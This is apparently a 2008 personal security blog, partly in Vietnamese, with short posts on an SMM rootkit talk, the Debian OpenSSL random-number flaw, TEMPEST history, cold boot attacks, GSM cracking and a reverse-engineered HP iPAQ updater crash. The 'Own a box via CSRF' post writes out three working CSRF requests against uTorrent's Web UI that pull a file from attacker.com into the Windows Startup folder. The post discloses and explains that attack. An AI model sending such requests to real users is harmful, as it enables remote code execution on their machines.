Sections
Personal tools
You are here: Home people rd
Document Actions

rd

2008-05-14

R2D2 DVD projector and Wireless webcam.

Filed Under:

Geek gadgets! For the Star Wars/Electronics Geek. Check the cool intro video!

2008-05-13

SMM rootkit PoC demo at Black Hat 08

Filed Under:

Sherri Sparks và Embleton sẽ demo bản SMM (System Management Mode) rootkit tại Black Hat 2008 sắp tới. Đây là loại rootkit sẽ rất khó phát hiện, khó hơn việc phát hiện virtualization rookit do SMM rootkit có thể lock SMRAM lại và khi đó chỉ BIOS mới có thể truy cập SMRAM.

FYI, với kiến trúc x86 thì để thay đổi SMI handler (cho rootkit) chỉ có 2 cách hoặc là patch BIOS hoặc thay đổi trực tiếp từ SMRAM nếu D_LCK bit không được set. Ngoài ra ITP (In-Target Probe) cũng có thể được dùng để thay đổi SMRAM hay debug SMI.  Theo thông tin riêng tôi biết từ tác giả của SMM rookit sẽ được trình bày tại BlackHat 08 sắp tới thì họ tận dụng lỗi cũ của chipset được công bố năm 2006 khi không khóa vùng nhớ SMRAM. Duflot đã trình bày việc tận dụng lỗi này để phá lớp bảo vệ của OpenBSD secure levels tại CanSecWest 2006. BSDaemon cũng đã đề cập một phần về chủ đề này tại VNSECON 07 và viết một bài nghiên cứu về việc này trên Phrack Magazine.

Cấu hình của chipset sau này mặc định D_LCK sẽ được bật nên SMRAM sẽ không thể truy cập và thay đổi trừ  khi patch lại BIOS. Yuriy của Intel Security Center of Exellence cũng sẽ trình bày tại BlackHat 08 sắp tới một giải pháp để phát hiện virtualization rookit sử dụng bộ vi xử lý riêng nhúng trong MCH (northbridge). Giải pháp này cũng có thể được sử dụng để phát hiện SMM rootkit.


Links:

Debian openssl package fix predictable random number generator

Debian đã công bố khuyến nghị bảo mật và cung cấp bản vá lỗi cho gói openssl của Debian cho lỗi trong phần sinh số ngẫu nhiên (random number generator). Lỗi được vá trong OpenSSL PRNG (pseudo random number generator) là lỗi do một Debian developer chỉnh sửa lại code của OpenSSL khiến cho bộ sinh số ngẫu nhiên này chỉ được "seed" bởi process pid.

Debian developer vào 05/2006 đã chỉnh sửa lại code của OpenSSL sau khi sửa lỗi "uninitialized variable" do valgrind cảnh báo. Tuy nhiên do không hiểu đây là sự cố tình sử dụng biến không được khởi tạo như một yếu tố "ngẫu nhiễn" của OpenSSL developer, Debian developer đã loại bỏ một số đoạn mã trong hàm PRNG khiến cho cho bộ sinh số ngẫu nhiên này chỉ được "seed" bởi process pid từ hệ thống. Điều này dẫn đến thư viện OpenSSL do Debian cung cấp này chỉ sinh ra 32,768 cặp khóa duy nhất từ PRNG, đồng nghĩa với việc độ an toàn của các khóa RSA, DSA, ... chỉ còn là 15 bits.

Các mã khóa được sinh ra từ các gói có sử dụng thư viện OpenSSL bị lỗi này như SSH, OpenVPN, DNSSEC, X.509 certificates đều cần phải được sinh (generate) lại khóa từ đầu.

Đây là một ví dụ điển hình cho việc vì sao các nhà đóng gói phần mềm không nên tự ý chỉnh sửa code của các thư viện, phần mềm nếu không hiểu rõ về nó và nếu có chỉnh sửa thì nên gửi lại bản patch cho nhà phát triển của gói phần mềm đó để kiểm tra và cập nhật.

Links:

2008-05-09

Wolfotrack, 3D Firewall GUI

Filed Under:

Mấy bạn ác min sẽ rất thích. Visual firewall của bạn mikado thật không thể sánh bằng :D

Wolfotrack is a netfilter connection tracking killer with a 3D GUI based on game Wolfenstein 3D! You simply kill people that are tight to a state updated by the connection tracking. Everytime a door is opened, this table is refreshed. And when the actor is killed, the connection tracking associated is killed as well! Nice!:D



Google làm phật lòng Trung Quốc

Filed Under:

Chính phủ Trung Quốc hiện đang điều tra việc vi phạm luật về bí mật quốc gia của Trung Quốc đối với Google cùng một số dịch vụ tìm kiếm và một số công ty cung cấp ảnh vệ tinh khác.

Các công ty trên bị cáo buộc vi phạm luật về bí mật quốc gia của Trung Quốc do công bố ảnh chụp vệ tinh các cơ sở bí mật, căn cứ quân sự của Trung Quốc.

Trung Quốc cũng phản ứng khó chịu khi các nhà cung cấp dịch vụ bản đồ trực tuyến như Google không ghi rõ Đài Loan là một phần của Trung Quốc mà ngầm ý xem Đài Loan như một quốc gia độc lập. Hiện Trung Quốc điều tra khoảng 10,000 bản đồ trực tuyến "phạm luật" do "vẽ lại biên giới Trung Quốc" với ám chỉ về những khu vực còn tranh chấp như Đài Loan, Hoàng Sa Trường Sa (tranh chấp với Việt Nam và một số nước Đông Nam Á khác) hay đảo Điếu Ngư (Diaoyu - tranh chấp với Nhật Bản).

Một điểm đáng chú ý là theo như bài báo đưa tin thì tuần trước, qua hình ảnh vệ tinh chụp được, người ta phát hiện ra một căn cứ tàu ngầm mới được xây dựng của hải quân Trung Quốc tại đảo Hải Nam, gần khu vực đang tranh chấp là quần đảo Hoàng Sa - Trường Sa với Việt Nam.



Map: Sanya naval base, China


Last week satellite imagery revealed a substantial harbour that could house a score of nuclear ballistic missile submarines
DIGITAL GLOBE






Đọc tin chi tiết tại U.K.’s Daily Telegraph.

2008-05-07

Secret History of TEMPEST

Filed Under:

Interesting stories about the history of TEMPEST has been revealed by NSA from a declassified document

It was 1943, and an engineer with Bell Telephone was working on one of the U.S. government's most sensitive and important pieces of wartime machinery, a Bell Telephone model 131-B2. It was a top secret encrypted teletype terminal used by the Army and Navy to transmit wartime communications that could defy German and Japanese cryptanalysis.

Then he noticed something odd.

Far across the lab, a freestanding oscilloscope had developed a habit of spiking every time the teletype encrypted a letter. Upon closer inspection, the spikes could actually be translated into the plain message the machine was processing. Though he likely didn't know it at the time, the engineer had just discovered that all information processing machines send their secrets into the electromagnetic ether.

Call it a TEMPEST in a teletype.

This story of how the United States first learned about the fundamental security vulnerability called "compromising emanations" is revealed for the first time in a newly-declassified 1972 paper TEMPEST: A Signal Problem (.pdf), from the National Security Agency's secret in-house journal Cryptologic Spectrum.

"There has always been speculation about TEMPEST coming out of the Cold War period," says Joel McNamara, author of Secrets of Computer Espionage: Tactics and Countermeasures, who maintained for years the best compilation of public information on TEMPEST. "But the 1943 Bell Labs discovery is roughly ten years earlier than I would have expected."


Links:
  1. http://www.nsa.gov/public/pdf/tempest.pdf
  2. http://www.nsa.gov/public/crypt_spectrum.cfm
  3. http://www.eskimo.com/~joelm/tempest.html
  4. http://en.wikipedia.org/wiki/TEMPEST
  5. http://blog.wired.com/27bstroke6/2008/04/nsa-releases-se.html
  6. http://www.youtube.com/watch?v=B05wPomCjEY

Own a box via CSRF

Filed Under:

You get bored of CSRF issues every day? Now this is one is a bit more interesting


Rob Carter has posted a blog on how to pwn a box via a pure CSRF bug of a uTorrent plugin. When a user installs the uTorrent Web UI plugin, the plugin starts a locally running web server on your machine. Basically, his CSRF exploit force uTorrent to move completed downloads to an arbitrary directory on their system, download arbitrary torrents, and completely own their box. 


  • The first CSRF to turn on the “Move completed downloads” option on the uTorrent Web UI. http://localhost:14774/gui/?action=setsetting&s=dir_completed_download_flag&v=1


  • The second CSRF to change the path of where the completed torrent download is placed. For example:
    http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:\
    Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup


  • The last CSRF is to force the victim to download a torrent which points to an attacker controlled file. Once the file is downloaded via torrent, uTorrent places the files into startup folder and automatically run the file in the next windows boot.
    http://localhost:14774/gui/?action=add-url&s=http://www.attacker.com/file.torrent



2008-02-22

Software based disk encryption not secure enough!

Researchers at Princeton University has released a white paper named "Lest We Remember: Cold Boot Attacks on Encryption Keys" [1] about gaining access to the contents of a computer's RAM after power off and/or reboot and used it to defeat various popular disk encryption systems such as Microsoft's BitLocker, Apple's FileVault, TrueCrypt, dm-crypt.


Contrary to conventional wisdom, "volatile" semiconductor memory does not entirely lose its contents when power is removed. Both static (SRAM) and dynamic (DRAM) memory retains some information on the data stored in it while power was still applied and they still hold values for a long intervals without power or refresh. This is a known [2] problem for a long long time. However, no one has ever tried (or published) any practical attack on this problem like what Princeton University researchers did.


This DRAM threat goes beyond disk encryption. Any kind of sensitive data such as password, encryption key, credit card information,... in you RAM could be stolen in just a few minutes. Due to the nature of this problem, it's hard for software based hard disk encryption solution to protect against this attack. Software based solution would be able to try to encrypt/clear the disk key whenever PC goes into inactive state (i.e screen saver, standby, hibernate) but it's not really practical and/or applicable in some cases. The white paper [1] also offers interesting algorithms & methods to find crypto keys in memory images.


If you're really care about your information, you should better to change your behavior to unmount encrypted disk and/or power-off your machine (for a while to give the memory enough time to decay) whenever you're away from your computer if you're using software based disk encryption and/or to use a hardware based disk encryption solution. It turns out that the hardware based disk encryption technology that I'm working on would be a perfect solution to help to protect against this kind of attack. For a full protection, our solution still need to fix a small problem when the computer goes into S3 (standby mode) but just a minor change. FYI, Seagate also has a hardware based hard disk encryption solution ready to use.


Links:

  1. Lest We Remember: Cold Boot Attacks on Encryption Keys
  2. Secure Deletion of Data from Magnetic and Solid-State Memory


GSM Monitoring & A5/1 Cracking

Researchers at a BlackHat security conference in Washington, D.C. this week detailed a method for dramatically reducing the cost and time needed to crack the security that prevents eavesdropping of GSM-based mobile phones.

Hulton & Steve have presented the new fast & cheap method of cracking A5/1 GSM encryption this week at BlackHat DC Security Conference 2008. This is the result of Cracking A5 and GSM scanner project which has been presented at VNSECON 07 by Steve last year.


FYI, GSM monitoring system has always been there for a long time. However, those devices are very expensive (few hundred thousands to millions USD depends on capabilities, number of channels, antenna,...) and only available to government agents.


Links:


2007-10-29

Buggy HP iPAQ ROM Update Utility


Last weekend I tried to re-flash a HP ipaq rw6828 using the latest HP iPAQ ROM Update 1.01.03 from HP website.


hpRUU-install.jpg


After about 20 minutes, the ROM flash process crashed at 90% and the phone became dead and was not able to power on any longer (tried different suggested methods to get it boot into the bootloader mode but all failed).

I did a quick google on "ipaq 6828 ROM update fail 90%" keywords. Quite a lot of people got the same problem. Some were lucky enough to be able to re-flash the phone again as the phone still can boot into bootloader mode. But many other people had to send the phone to HP Service Center to replace the main board.

So I decided to take a look at the HP iPAQ ROM Update Utility binary (hpRUU.exe - v3.3.2 build 831) to find out the reason.


hpRUU.jpg


It didn't take long to find out that the "90%" problem is caused by a lame buggy code of the HP iPAQ ROM Update Utility itself.


hpRUU-bug01.jpg


The buggy code is inside the sub_409DA0() (I renamed it to Client_StartFlash()). Below is the reverse C code snippet of ROM update function (not exactly as the asm code)


  1:void sub_409520(int c)
2:{
3: DebugLog("odmLib/Client_StartFlash -- Flashing would start here");
4: hEvent = CreateEventA(0, 0, 0, 0);
5: dword_425B04 = CreateThread(0, 0, &sub_409DA0, 0, 0, 0);
6: SetEvent(hEvent);
7:
8: DebugLog("odmLib/Client_StartFlash: pReturnCode->dwError = %d", 65520);
9:}
10:
11:#define FLASH_ERROR(fmt, ...) \
12:{ \
13: DebugLog(fmt, ...); \
14: IsErrorFlag = 1; \
15: pReturnCode_dwError = 401; \
16: return; \
17:}
18:
19:void Client_StartFlash() //sub_00409DA0()
20:{
21: //WORD SelectFile[2];
22:
23: WaitForSingleObject(hEvent, INFINITE);
24: DebugLog("DownloadFile: SelectFile = 0x%x TotalFileSize = 0x%x..\r\n",
25: SelectFile, TotalFileSize);
26:
27: if (DeviceInBLMode == -1) {
28: DebugLog("DownloadFile: DeviceInBLMode has a wrong value!");
29: IsErrorFlag = 1;
30: pReturnCode_dwError = 602;
31: return;
32: }
33:
34: if (SelectFile[0] & 8) {
35: DebugLog("DownloadFile: COM_OS ..\r\n");
36: wsprintfA(StatusBuffer, "Updating the ROM Image ...");
37: byte_425884 = (DeviceInBLMode != 0) + 17;
38: memset(_tFilename, 0, 0x64);
39: pReturnCode_dwExtraInfo = 3;
40: dHeaderLen = 0;
41: sub_40A580(3, _tFilename, (int) &dHeaderLen);
42: DebugLog("DownloadFile: tFilename = %s dHeaderLen = %d\r\n",
43: &_tFilename, dHeaderLen);
44:
45: _hFile = CreateFileA(_tFilename, GENERIC_READ | GENERIC_WRITE, 0, 0,
46: OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
47:
48: if (_hFile == INVALID_HANDLE_VALUE) {
49: FLASH_ERROR("Jcs-CreateFile %s fail .. ", _tFilename);
50: }
51:
52: HeaderBuffer = malloc(dHeaderLen);
53: HeaderBuffer = malloc(dHeaderLen);
54: ReadFile(_hFile, HeaderBuffer, dHeaderLen, &NumberOfBytesRead, 0);
55:
56: dFileLen = GetFileSize(_hFile, 0);
57: dDataLen = dFileLen - dHeaderLen;
58: DataBuffer = calloc(dFileLen - dHeaderLen, 1);
59: ReadFile(_hFile, DataBuffer, dDataLen, &NumberOfBytesRead, 0);
60: free(HeaderBuffer);
61:
62: ROMDecode(dDataLen, DataBuffer);
63:
64: if (memcmp(DataBuffer, 'R000ff\n', 7)) {
65: IsErrorFlag = 1;
66: pReturnCode_dwError = 401;
67: DebugLog("Jcs-Warning: The Image is invalid ... ");
68: wsprintfA(StatusBuffer, "Warning: The Image is invalid ...");
69: return;
70: }
71:
72: if (!bDownLoadThrUSB(DataBuffer, dDataLen, dword_425B20,
73: SelectFile)) {
74: IsErrorFlag = 1;
75: pReturnCode_dwError = 503;
76: return;
77: }
78: free(DataBuffer);
79: CloseHandle(_hFile);
80: }
81:
82: if (SelectFile[0] & 4) {
83: DebugLog("DownloadFile: COM_BL ..\r\n");
84: wsprintfA(StatusBuffer, "Updating the Bootloader ...");
85: dHeaderLen = 0;
86: memset(_tFilename, 0, 0x64);
87: pReturnCode_dwExtraInfo = 2;
88: byte_425884 = 2;
89: sub_40A580(2, _tFilename, (int) &dHeaderLen);
90: DebugLog("DownloadFile: tFilename = %s dHeaderLen = %d\r\n", _tFilename, dHeaderLen);
91: _hFile = CreateFileA(_tFilename, GENERIC_READ | GENERIC_WRITE, 0, 0,
92: OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
93:
94: if (_hFile == INVALID_HANDLE_VALUE) {
95: FLASH_ERROR("Jcs-CreateFile %s fail .. ", _tFilename);
96: }
97: HeaderBuffer = malloc(dHeaderLen);
98: ReadFile(_hFile, HeaderBuffer, dHeaderLen, &NumberOfBytesRead, 0);
99: dFileLen = GetFileSize(_hFile, 0);
100: dDataLen = dFileLen - dHeaderLen;
101: DataBuffer = calloc(dFileLen - dHeaderLen, 1);
102:
103: ReadFile(_hFile, DataBuffer, dDataLen, &NumberOfBytesRead, 0);
104: free(HeaderBuffer);
105: ReadFile(_hFile, DataBuffer, dDataLen, &NumberOfBytesRead, 0);
106: free(HeaderBuffer);
107:
108: ROMDecode(dDataLen, DataBuffer);
109:
110: FILE = fopen("c:\\ipaq\\downloadEboot.txt", "wb");
111: fwrite(DataBuffer, 1, dDataLen, FILE);
112: fclose(FILE);
113:
114: if (!bDownLoadThrUSB(DataBuffer, dDataLen, dword_425B20,
115: SelectFile)) {
116: IsErrorFlag = 1;
117: pReturnCode_dwError = 503;
118: return;
119: }
120: free(DataBuffer);
121: CloseHandle(_hFile);
122: }
123: if (!bDownLoadThrUSB(&unk_4253F0, 0x80, 0, SelectFile)) {
124: IsErrorFlag = 1;
125: pReturnCode_dwError = 401;
126: DebugLog("Jcs-Download version infomation to device fail ..");
127: return;
128: }
129:
130: dTmp = SelectFile[1];
131: if (SelectFile[0] & 0x20) {
132: DebugLog("DownloadFile: COM_FS ..\r\n");
133: dTmp = SelectFile[1];
134: }
135:
136: if (dTmp & 0x80 && dTmp & 0x20) {
137: DebugLog("DownloadFile: COM_WANOS + COM_WANBL ..\r\n");
138: wsprintfA(StatusBuffer, "Updating the Radio Stack ...");
139: dHeaderLen = 0;
140: memset(_tFilename, 0, 0x64);
141: pReturnCode_dwExtraInfo = 15;
142: byte_425884 = 4;
143: sub_40A580(13, _tFilename, (int) &dHeaderLen);
144: DebugLog("DownloadFile: tFilename = %s dHeaderLen = %d\r\n",
145: _tFilename, dHeaderLen);
146:
147: _hFile = CreateFileA(_tFilename, GENERIC_READ | GENERIC_WRITE, 0, 0,
148: OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
149:
150: if (_hFile == INVALID_HANDLE_VALUE) {
151: FLASH_ERROR("Jcs-CreateFile %s fail .. ", _tFilename);
152: }
153:
154: HeaderBuffer = malloc(dHeaderLen);
155: ReadFile(_hFile, HeaderBuffer, dHeaderLen, &NumberOfBytesRead, 0);
156: dFileLen = GetFileSize(_hFile, 0);
157: dDataLen = dFileLen - dHeaderLen;
158: dFileLen = GetFileSize(_hFile, 0);
159: dDataLen = dFileLen - dHeaderLen;
160:
161: DataBuffer = calloc(dDataLen, 1);
162: dword_425B1C = DataBuffer;
163: ReadFile(_hFile, DataBuffer, dDataLen, &NumberOfBytesRead, 0);
164: free(HeaderBuffer);
165: CloseHandle(_hFile);
166:
167: memset(_tFilename, 0, 0x64)
168: sub_40A580(15, _tFilename, (int) &dHeaderLen)
169: DebugLog ("DownloadFile: tFilename = %s dHeaderLen = %d\r\n",
170: &_tFilename, dHeaderLen)
171:
172: _hFile = CreateFileA(_tFilename, GENERIC_READ | GENERIC_WRITE, 0, 0,
173: OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
174:
175: if (_hFile == INVALID_HANDLE_VALUE) {
176: FLASH_ERROR("Jcs-CreateFile %s fail .. ", _tFilename);
177: }
178:
179: HeaderBuffer = malloc(dHeaderLen);
180: ReadFile(_hFile, HeaderBuffer, dHeaderLen, &NumberOfBytesRead, 0);
181: dDataLen = GetFileSize(_hFile, 0) - dHeaderLen;
182: dword_425B84 = dDataLen;
183:
184: DataBuffer = calloc(dDataLen, 1);
185: dword_425B10 = DataBuffer;
186: ReadFile(_hFile, DataBuffer, dDataLen, &NumberOfBytesRead, 0);
187:
188: free(HeaderBuffer);
189: CloseHandle(_hFile);
190:
191: DataBuffer = calloc(dDataLen + nNumberOfBytesToRead + 88, 1);
192: szBuffer = _msize(DataBuffer);
193: memset(DataBuffer, -1, szBuffer);
194:
195: if (sub_40A5E0()) {
196: if (sub_40A770()) {
197: if (sub_40A8F0()) {
198: ROMDecode(Count, DataBuffer);
199: if (DataBuffer) {
200: FILE = fopen ("c:\\ipaq\\downloadMot.txt", "wb");
201: fwrite(DataBuffer, 1, Count, FILE);
202: fclose(FILE);
203: if (bDownLoadThrUSB(DataBuffer, Count, dword_425B20, SelectFile)) {
204: if (sub_40B270()) {
205: free(DataBuffer);
206: free(dword_425B10);
207: free(dword_425B1C);
208: dword_425F58 = 1;
209: } else {
210: IsErrorFlag = 1;
211: } else {
212: IsErrorFlag = 1;
213: pReturnCode_dwError = 401;
214: DebugLog ("Jcs-bGetMOTBurnStatus fail ..");
215: }
216: } else {
217: IsErrorFlag = 1;
218: pReturnCode_dwError = 401;
219: DebugLog ("Jcs-Download Mot fail ..");
220: }
221: } else {
222: IsErrorFlag = 1;
223: pReturnCode_dwError = 401;
224: DebugLog ("Jcs-(pMOTBuf==NULL) fail ..");
225: }
226: } else {
227: IsErrorFlag = 1;
228: pReturnCode_dwError = 401;
229: DebugLog("Jcs-PrepareMOTData fail ..");
230: }
231: } else {
232: IsErrorFlag = 1;
233: pReturnCode_dwError = 401;
234: DebugLog("Jcs-PrepareMOTAgent fail ..");
235: }
236: } else {
237: IsErrorFlag = 1;
238: pReturnCode_dwError = 401;
239: DebugLog("Jcs-PrepareMOTPara fail ..");
240: }
241: } else {
242: dword_425F58 = 1;
243: }
244:}
245:


The codes at line 100->102 and 200->202 inside Client_StartFlash() function try to write the 'decrypted' EBOOT and MOT ROMs data to hard-coded file locations at c:\ipaq\downloadMot.txt and c:\ipaq\downloadEboot.txt. It doesn't check whether the fopen() return a successful FILE pointer or not before writing the content.

So, If you install the ROM upgrade program in a different location (in my case, i installed it in d:\tmp\ipaq) instead of default location (c:\ipaq), the update program will get crashed at 90%. This stupid error had killed many ipaq and many people had to spend their time and money for the service & mainboard replacement since the update had been released by HP for almost a year. The HP developer who wrote this code should go back to college to learn how to code properly.


After knowing the problem, I sent the ipaq to HP Service Center a day after and got the mainboard replaced. After few hours of waiting, complaining and giving live proof of the bug to HP technical guy, I did not need to pay for mainboard replacement cost :). The technical guy was a nice guy. He even brought me inside HP technical service center for re-flashing few ipaqs to reproduce the problem. However, the experience with the girl at HP Customer Service Center was kind of bad though.


Links:

  1. HP iPAQ ROM Update 1.01.03
  2. hpRUU.exe - v3.3.2 Build 831

Powered by Plone CMS, the Open Source Content Management System